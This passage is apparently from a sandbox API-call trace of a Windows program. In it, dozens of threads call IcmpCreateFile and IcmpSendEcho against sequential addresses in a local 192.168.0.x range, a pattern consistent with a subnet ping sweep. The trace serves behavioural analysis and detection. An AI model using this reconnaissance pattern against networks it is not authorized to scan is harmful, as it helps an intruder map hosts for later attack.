	[0218.650] IcmpSendEcho (IcmpHandle=0x3addf0, DestinationAddress=0x7700a8c0, RequestData=0x1204f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1204f720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2279
	os_tid = 0x2908

	[0216.465] GetLastError () returned 0x57
	[0216.465] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c1330
	[0216.466] SetLastError (dwErrCode=0x57) 
	[0216.466] IcmpCreateFile () returned 0x3ade40
	[0218.651] IcmpSendEcho (IcmpHandle=0x3ade40, DestinationAddress=0x7800a8c0, RequestData=0x1215fa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1215fa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2280
	os_tid = 0x290c

	[0216.466] GetLastError () returned 0x57
	[0216.467] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c1700
	[0216.467] SetLastError (dwErrCode=0x57) 
	[0216.467] IcmpCreateFile () returned 0x3ade90
	[0218.653] IcmpSendEcho (IcmpHandle=0x3ade90, DestinationAddress=0x7900a8c0, RequestData=0x1234f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1234f800, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2281
	os_tid = 0x2910

	[0216.468] GetLastError () returned 0x57
	[0216.468] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c1ad0
	[0216.468] SetLastError (dwErrCode=0x57) 
	[0216.468] IcmpCreateFile () returned 0x3adee0
	[0218.654] IcmpSendEcho (IcmpHandle=0x3adee0, DestinationAddress=0x7a00a8c0, RequestData=0x125ffc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x125ffca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2282
	os_tid = 0x2914

	[0216.469] GetLastError () returned 0x57
	[0216.469] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c1ea0
	[0216.469] SetLastError (dwErrCode=0x57) 
	[0216.469] IcmpCreateFile () returned 0x3adf30
	[0218.656] IcmpSendEcho (IcmpHandle=0x3adf30, DestinationAddress=0x7b00a8c0, RequestData=0x124bfc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x124bfca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2283
	os_tid = 0x2918

	[0216.470] GetLastError () returned 0x57
	[0216.471] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c2270
	[0216.471] SetLastError (dwErrCode=0x57) 
	[0216.471] IcmpCreateFile () returned 0x3adf80
	[0218.657] IcmpSendEcho (IcmpHandle=0x3adf80, DestinationAddress=0x7c00a8c0, RequestData=0x1282fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1282fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2284
	os_tid = 0x291c

	[0216.471] GetLastError () returned 0x57
	[0216.472] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c2640
	[0216.472] SetLastError (dwErrCode=0x57) 
	[0216.472] IcmpCreateFile () returned 0x3cb880
	[0218.659] IcmpSendEcho (IcmpHandle=0x3cb880, DestinationAddress=0x7d00a8c0, RequestData=0x1297fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1297fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2285
	os_tid = 0x2920

	[0217.069] GetLastError () returned 0x57
	[0217.069] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c2a10
	[0217.070] SetLastError (dwErrCode=0x57) 
	[0217.070] IcmpCreateFile () returned 0x3cb8d0
	[0218.660] IcmpSendEcho (IcmpHandle=0x3cb8d0, DestinationAddress=0x7e00a8c0, RequestData=0x12aef900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12aef920, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2296
	os_tid = 0x2948

	[0217.071] GetLastError () returned 0x57
	[0217.071] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c2de0
	[0217.072] SetLastError (dwErrCode=0x57) 
	[0217.072] IcmpCreateFile () returned 0x3cb920
	[0218.662] IcmpSendEcho (IcmpHandle=0x3cb920, DestinationAddress=0x7f00a8c0, RequestData=0x12c1f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12c1f720, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2297
	os_tid = 0x294c

	[0217.072] GetLastError () returned 0x57
	[0217.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3c31b0
	[0217.073] SetLastError (dwErrCode=0x57) 
	[0217.073] IcmpCreateFile () returned 0x3cb970
	[0218.663] IcmpSendEcho (IcmpHandle=0x3cb970, DestinationAddress=0x8000a8c0, RequestData=0x12e0fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12e0fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2298
	os_tid = 0x2950

	[0217.074] GetLastError () returned 0x57
	[0217.074] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cc880
	[0217.077] SetLastError (dwErrCode=0x57) 
	[0217.077] IcmpCreateFile () returned 0x3cb9c0
	[0218.665] IcmpSendEcho (IcmpHandle=0x3cb9c0, DestinationAddress=0x8100a8c0, RequestData=0x12f9fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x12f9faa0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2299
	os_tid = 0x2954

	[0217.078] GetLastError () returned 0x57
	[0217.078] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ccc50
	[0217.078] SetLastError (dwErrCode=0x57) 
	[0217.079] IcmpCreateFile () returned 0x3cba10
	[0218.666] IcmpSendEcho (IcmpHandle=0x3cba10, DestinationAddress=0x8200a8c0, RequestData=0x130cf7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x130cf7e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2300
	os_tid = 0x2958

	[0217.079] GetLastError () returned 0x57
	[0217.079] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cd020
	[0217.080] SetLastError (dwErrCode=0x57) 
	[0217.080] IcmpCreateFile () returned 0x3cba60
	[0218.668] IcmpSendEcho (IcmpHandle=0x3cba60, DestinationAddress=0x8300a8c0, RequestData=0x131ffba0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x131ffbc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2301
	os_tid = 0x295c

	[0217.080] GetLastError () returned 0x57
	[0217.081] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cd3f0
	[0217.081] SetLastError (dwErrCode=0x57) 
	[0217.081] IcmpCreateFile () returned 0x3cbab0
	[0218.669] IcmpSendEcho (IcmpHandle=0x3cbab0, DestinationAddress=0x8400a8c0, RequestData=0x1334fcc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1334fce0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2302
	os_tid = 0x2960

	[0217.082] GetLastError () returned 0x57
	[0217.082] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cd7c0
	[0217.082] SetLastError (dwErrCode=0x57) 
	[0217.082] IcmpCreateFile () returned 0x3cbb00
	[0218.671] IcmpSendEcho (IcmpHandle=0x3cbb00, DestinationAddress=0x8500a8c0, RequestData=0x1345fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1345fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2303
	os_tid = 0x2964

	[0217.083] GetLastError () returned 0x57
	[0217.083] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cdb90
	[0217.083] SetLastError (dwErrCode=0x57) 
	[0217.083] IcmpCreateFile () returned 0x3cbb50
	[0218.672] IcmpSendEcho (IcmpHandle=0x3cbb50, DestinationAddress=0x8600a8c0, RequestData=0x1356f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1356f9e0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2304
	os_tid = 0x2968

	[0217.084] GetLastError () returned 0x57
	[0217.084] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cdf60
	[0217.085] SetLastError (dwErrCode=0x57) 
	[0217.085] IcmpCreateFile () returned 0x3cbba0
	[0218.673] IcmpSendEcho (IcmpHandle=0x3cbba0, DestinationAddress=0x8700a8c0, RequestData=0x1369f960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1369f980, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2305
	os_tid = 0x296c

	[0217.086] GetLastError () returned 0x57
	[0217.086] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ce330
	[0217.086] SetLastError (dwErrCode=0x57) 
	[0217.086] IcmpCreateFile () returned 0x3cbbf0
	[0218.677] IcmpSendEcho (IcmpHandle=0x3cbbf0, DestinationAddress=0x8800a8c0, RequestData=0x137ef860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x137ef880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2306
	os_tid = 0x2970

	[0217.087] GetLastError () returned 0x57
	[0217.087] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ce700
	[0217.088] SetLastError (dwErrCode=0x57) 
	[0217.088] IcmpCreateFile () returned 0x3cbc40
	[0218.679] IcmpSendEcho (IcmpHandle=0x3cbc40, DestinationAddress=0x8900a8c0, RequestData=0x13a3f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13a3f9c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2307
	os_tid = 0x2974

	[0217.088] GetLastError () returned 0x57
	[0217.088] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cead0
	[0217.089] SetLastError (dwErrCode=0x57) 
	[0217.089] IcmpCreateFile () returned 0x3cbc90
	[0218.681] IcmpSendEcho (IcmpHandle=0x3cbc90, DestinationAddress=0x8a00a8c0, RequestData=0x13c0fca0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13c0fcc0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2308
	os_tid = 0x2978

	[0217.091] GetLastError () returned 0x57
	[0217.091] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ceea0
	[0217.092] SetLastError (dwErrCode=0x57) 
	[0217.092] IcmpCreateFile () returned 0x3cbce0
	[0218.682] IcmpSendEcho (IcmpHandle=0x3cbce0, DestinationAddress=0x8b00a8c0, RequestData=0x13ddfa00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13ddfa20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2309
	os_tid = 0x297c

	[0217.093] GetLastError () returned 0x57
	[0217.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cf270
	[0217.093] SetLastError (dwErrCode=0x57) 
	[0217.093] IcmpCreateFile () returned 0x3cbd30
	[0218.683] IcmpSendEcho (IcmpHandle=0x3cbd30, DestinationAddress=0x8c00a8c0, RequestData=0x13f2fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13f2fea0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2310
	os_tid = 0x2980

	[0217.095] GetLastError () returned 0x57
	[0217.095] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cf640
	[0217.096] SetLastError (dwErrCode=0x57) 
	[0217.097] IcmpCreateFile () returned 0x3cbd80
	[0218.684] IcmpSendEcho (IcmpHandle=0x3cbd80, DestinationAddress=0x8d00a8c0, RequestData=0x1403fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1403fb00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2311
	os_tid = 0x2984

	[0217.098] GetLastError () returned 0x57
	[0217.098] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cfa10
	[0217.099] SetLastError (dwErrCode=0x57) 
	[0217.099] IcmpCreateFile () returned 0x3cbdd0
	[0218.686] IcmpSendEcho (IcmpHandle=0x3cbdd0, DestinationAddress=0x8e00a8c0, RequestData=0x1420f740, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1420f760, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2312
	os_tid = 0x2988

	[0217.099] GetLastError () returned 0x57
	[0217.100] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3cfde0
	[0217.100] SetLastError (dwErrCode=0x57) 
	[0217.100] IcmpCreateFile () returned 0x3cbe20
	[0218.687] IcmpSendEcho (IcmpHandle=0x3cbe20, DestinationAddress=0x8f00a8c0, RequestData=0x143dfe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x143dfe60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2313
	os_tid = 0x298c

	[0217.103] GetLastError () returned 0x57
	[0217.103] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d01b0
	[0217.103] SetLastError (dwErrCode=0x57) 
	[0217.103] IcmpCreateFile () returned 0x3cbe70
	[0218.688] IcmpSendEcho (IcmpHandle=0x3cbe70, DestinationAddress=0x9000a8c0, RequestData=0x144efce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x144efd00, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2314
	os_tid = 0x2990

	[0217.687] GetLastError () returned 0x57
	[0217.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d8c80
	[0217.690] SetLastError (dwErrCode=0x57) 
	[0217.691] IcmpCreateFile () returned 0x3cbec0
	[0218.690] IcmpSendEcho (IcmpHandle=0x3cbec0, DestinationAddress=0x9100a8c0, RequestData=0x146ffd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x146ffd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2325
	os_tid = 0x29c0

	[0217.691] GetLastError () returned 0x57
	[0217.691] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d9050
	[0217.692] SetLastError (dwErrCode=0x57) 
	[0217.692] IcmpCreateFile () returned 0x3cbf10
	[0218.692] IcmpSendEcho (IcmpHandle=0x3cbf10, DestinationAddress=0x9200a8c0, RequestData=0x1393fc00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1393fc20, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2326
	os_tid = 0x29c4

	[0217.693] GetLastError () returned 0x57
	[0217.693] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d9420
	[0217.693] SetLastError (dwErrCode=0x57) 
	[0217.693] IcmpCreateFile () returned 0x3cbf60
	[0218.694] IcmpSendEcho (IcmpHandle=0x3cbf60, DestinationAddress=0x9300a8c0, RequestData=0x145ffdc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x145ffde0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2327
	os_tid = 0x29c8

	[0217.694] GetLastError () returned 0x57
	[0217.694] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d97f0
	[0217.694] SetLastError (dwErrCode=0x57) 
	[0217.694] IcmpCreateFile () returned 0x3cbfb0
	[0218.695] IcmpSendEcho (IcmpHandle=0x3cbfb0, DestinationAddress=0x9400a8c0, RequestData=0x1272fb40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1272fb60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2328
	os_tid = 0x29cc

	[0217.695] GetLastError () returned 0x57
	[0217.695] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d9bc0
	[0217.695] SetLastError (dwErrCode=0x57) 
	[0217.696] IcmpCreateFile () returned 0x3cc000
	[0218.697] IcmpSendEcho (IcmpHandle=0x3cc000, DestinationAddress=0x9500a8c0, RequestData=0x148cfc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x148cfc40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2329
	os_tid = 0x29d0

	[0217.697] GetLastError () returned 0x57
	[0217.697] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3d9f90
	[0217.698] SetLastError (dwErrCode=0x57) 
	[0217.698] IcmpCreateFile () returned 0x3cc050
	[0218.698] IcmpSendEcho (IcmpHandle=0x3cc050, DestinationAddress=0x9600a8c0, RequestData=0x14a3fc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14a3fca0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2330
	os_tid = 0x29d4

	[0217.698] GetLastError () returned 0x57
	[0217.699] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3da360
	[0217.699] SetLastError (dwErrCode=0x57) 
	[0217.699] IcmpCreateFile () returned 0x3cc0a0
	[0218.699] IcmpSendEcho (IcmpHandle=0x3cc0a0, DestinationAddress=0x9700a8c0, RequestData=0x14c4f980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14c4f9a0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2331
	os_tid = 0x29d8

	[0217.700] GetLastError () returned 0x57
	[0217.700] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3da730
	[0217.700] SetLastError (dwErrCode=0x57) 
	[0217.700] IcmpCreateFile () returned 0x3cc0f0
	[0218.701] IcmpSendEcho (IcmpHandle=0x3cc0f0, DestinationAddress=0x9800a8c0, RequestData=0x14e1fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14e1fba0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2332
	os_tid = 0x29dc

	[0217.701] GetLastError () returned 0x57
	[0217.701] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dab00
	[0217.702] SetLastError (dwErrCode=0x57) 
	[0217.702] IcmpCreateFile () returned 0x3cc140
	[0218.702] IcmpSendEcho (IcmpHandle=0x3cc140, DestinationAddress=0x9900a8c0, RequestData=0x1506f720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1506f740, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2333
	os_tid = 0x29e0

	[0217.702] GetLastError () returned 0x57
	[0217.703] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3daed0
	[0217.703] SetLastError (dwErrCode=0x57) 
	[0217.703] IcmpCreateFile () returned 0x3cc190
	[0218.704] IcmpSendEcho (IcmpHandle=0x3cc190, DestinationAddress=0x9a00a8c0, RequestData=0x1527fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1527fd60, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2334
	os_tid = 0x29e4

	[0217.704] GetLastError () returned 0x57
	[0217.704] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3db2a0
	[0217.704] SetLastError (dwErrCode=0x57) 
	[0217.704] IcmpCreateFile () returned 0x3cc1e0
	[0218.705] IcmpSendEcho (IcmpHandle=0x3cc1e0, DestinationAddress=0x9b00a8c0, RequestData=0x14b4fb20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14b4fb40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2335
	os_tid = 0x29e8

	[0217.705] GetLastError () returned 0x57
	[0217.705] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3db670
	[0217.706] SetLastError (dwErrCode=0x57) 
	[0217.706] IcmpCreateFile () returned 0x3cc230
	[0218.707] IcmpSendEcho (IcmpHandle=0x3cc230, DestinationAddress=0x9c00a8c0, RequestData=0x14f4f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14f4f7c0, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2336
	os_tid = 0x29ec

	[0217.706] GetLastError () returned 0x57
	[0217.706] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dba40
	[0217.707] SetLastError (dwErrCode=0x57) 
	[0217.707] IcmpCreateFile () returned 0x3cc280
	[0218.708] IcmpSendEcho (IcmpHandle=0x3cc280, DestinationAddress=0x9d00a8c0, RequestData=0x153cfa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x153cfa40, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2337
	os_tid = 0x29f0

	[0217.708] GetLastError () returned 0x57
	[0217.708] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dbe10
	[0217.708] SetLastError (dwErrCode=0x57) 
	[0217.708] IcmpCreateFile () returned 0x3cc2d0
	[0218.709] IcmpSendEcho (IcmpHandle=0x3cc2d0, DestinationAddress=0x9e00a8c0, RequestData=0x1557f840, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1557f860, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2338
	os_tid = 0x29f4

	[0217.709] GetLastError () returned 0x57
	[0217.709] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dc1e0
	[0217.709] SetLastError (dwErrCode=0x57) 
	[0217.709] IcmpCreateFile () returned 0x3cc320
	[0218.711] IcmpSendEcho (IcmpHandle=0x3cc320, DestinationAddress=0x9f00a8c0, RequestData=0x1572f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1572f880, ReplySize=0x4c, Timeout=0x157c) 

Thread:
	id = 2339
	os_tid = 0x29f8

	[0217.710] GetLastError () returned 0x57
	[0217.710] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dc5b0
	[0217.711] SetLastError (dwErrCode=0x57) 
	[0217.711] IcmpCreateFile () returned 0x3cc370
	[0218.714] IcmpSendEcho (in: IcmpHandle=0x3cc370, DestinationAddress=0xa000a8c0, RequestData=0x1589f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1589fa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1589fa00) returned 0x1
	[0284.703] IcmpCloseHandle (IcmpHandle=0x3cc370) returned 1
	[0284.704] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dc5b0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2340
	os_tid = 0x29fc

	[0217.711] GetLastError () returned 0x57
	[0217.711] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dcc80
	[0217.714] SetLastError (dwErrCode=0x57) 
	[0217.714] IcmpCreateFile () returned 0x3cc3c0
	[0218.715] IcmpSendEcho (in: IcmpHandle=0x3cc3c0, DestinationAddress=0xa100a8c0, RequestData=0x159af700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x159af720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x159af720) returned 0x1
	[0284.395] IcmpCloseHandle (IcmpHandle=0x3cc3c0) returned 1
	[0284.396] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dcc80 | out: hHeap=0x330000) returned 1

Thread:
	id = 2341
	os_tid = 0x2a00

	[0217.716] GetLastError () returned 0x57
	[0217.716] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dd050
	[0217.716] SetLastError (dwErrCode=0x57) 
	[0217.716] IcmpCreateFile () returned 0x3cc410
	[0218.717] IcmpSendEcho (in: IcmpHandle=0x3cc410, DestinationAddress=0xa200a8c0, RequestData=0x15bdf980, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15bdf9a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15bdf9a0) returned 0x1
	[0284.017] IcmpCloseHandle (IcmpHandle=0x3cc410) returned 1
	[0284.018] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dd050 | out: hHeap=0x330000) returned 1

Thread:
	id = 2342
	os_tid = 0x2a04

	[0217.717] GetLastError () returned 0x57
	[0217.717] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dd420
	[0217.717] SetLastError (dwErrCode=0x57) 
	[0217.717] IcmpCreateFile () returned 0x3cc460
	[0218.718] IcmpSendEcho (in: IcmpHandle=0x3cc460, DestinationAddress=0xa300a8c0, RequestData=0x15abf9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15abfa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15abfa00) returned 0x1
	[0283.637] IcmpCloseHandle (IcmpHandle=0x3cc460) returned 1
	[0283.637] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dd420 | out: hHeap=0x330000) returned 1

Thread:
	id = 2343
	os_tid = 0x2a08

	[0218.071] GetLastError () returned 0x57
	[0218.072] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3dd7f0
	[0218.072] SetLastError (dwErrCode=0x57) 
	[0218.072] IcmpCreateFile () returned 0x3cc4b0
	[0218.720] IcmpSendEcho (in: IcmpHandle=0x3cc4b0, DestinationAddress=0xa400a8c0, RequestData=0x11dffec0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x11dffee0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x11dffee0) returned 0x1
	[0283.518] IcmpCloseHandle (IcmpHandle=0x3cc4b0) returned 1
	[0283.518] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3dd7f0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2353
	os_tid = 0x2a30

	[0218.073] GetLastError () returned 0x57
	[0218.073] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ddbc0
	[0218.073] SetLastError (dwErrCode=0x57) 
	[0218.073] IcmpCreateFile () returned 0x3cc500
	[0218.721] IcmpSendEcho (in: IcmpHandle=0x3cc500, DestinationAddress=0xa500a8c0, RequestData=0x15d9f9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15d9f9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15d9f9e0) returned 0x1
	[0283.086] IcmpCloseHandle (IcmpHandle=0x3cc500) returned 1
	[0283.087] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3ddbc0 | out: hHeap=0x330000) returned 1

Thread:
	id = 2354
	os_tid = 0x2a34

	[0218.074] GetLastError () returned 0x57
	[0218.074] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3ddf90
	[0218.075] SetLastError (dwErrCode=0x57) 
	[0218.075] IcmpCreateFile () returned 0x3cc550
	[0218.722] IcmpSendEcho (in: IcmpHandle=0x3cc550, DestinationAddress=0xa600a8c0, RequestData=0x15fffc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15fffc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15fffc80) returned 0x1
	[0281.370] IcmpCloseHandle (IcmpHandle=0x3cc550) returned 1
	[0281.374] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3ddf90 | out: hHeap=0x330000) returned 1

Thread:
	id = 2355
	os_tid = 0x2a38

	[0218.075] GetLastError () returned 0x57
	[0218.076] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3de360
	[0218.076] SetLastError (dwErrCode=0x57) 
	[0218.076] IcmpCreateFile () returned 0x3cc5a0
	[0218.724] IcmpSendEcho (in: IcmpHandle=0x3cc5a0, DestinationAddress=0xa700a8c0, RequestData=0x1610f9e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1610fa00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1610fa00) returned 0x1
	[0277.936] IcmpCloseHandle (IcmpHandle=0x3cc5a0) returned 1
	[0277.937] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3de360 | out: hHeap=0x330000) returned 1

Thread:
	id = 2356
	os_tid = 0x2a3c

	[0218.077] GetLastError () returned 0x57
	[0218.077] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c8) returned 0x3de730
	[0218.077] SetLastError (dwErrCode=0x57) 
	[0218.077] IcmpCreateFile () returned 0x3cc5f0
	[0218.725] IcmpSendEcho (in: IcmpHandle=0x3cc5f0, DestinationAddress=0xa800a8c0, RequestData=0x15e9f700, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15e9f720, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15e9f720) returned 0x1
	[0277.673] IcmpCloseHandle (IcmpHandle=0x3cc5f0) returned 1
